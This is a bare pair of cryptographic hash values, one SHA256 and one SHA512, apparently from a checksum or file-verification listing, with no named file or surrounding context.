SHA256adf301b14e3124be16bd48d1dc0f0885ff6d17db3989b0bbc1eb06d0d214e1f4
SHA512a651b64c44fb868182b3b4601832821de5e999374244b784a9328f4b50c8beda3ba84e3e8c2ff0ef0015b0e617fd3ead6215ccb591af8bc93832f92f9eb5ca10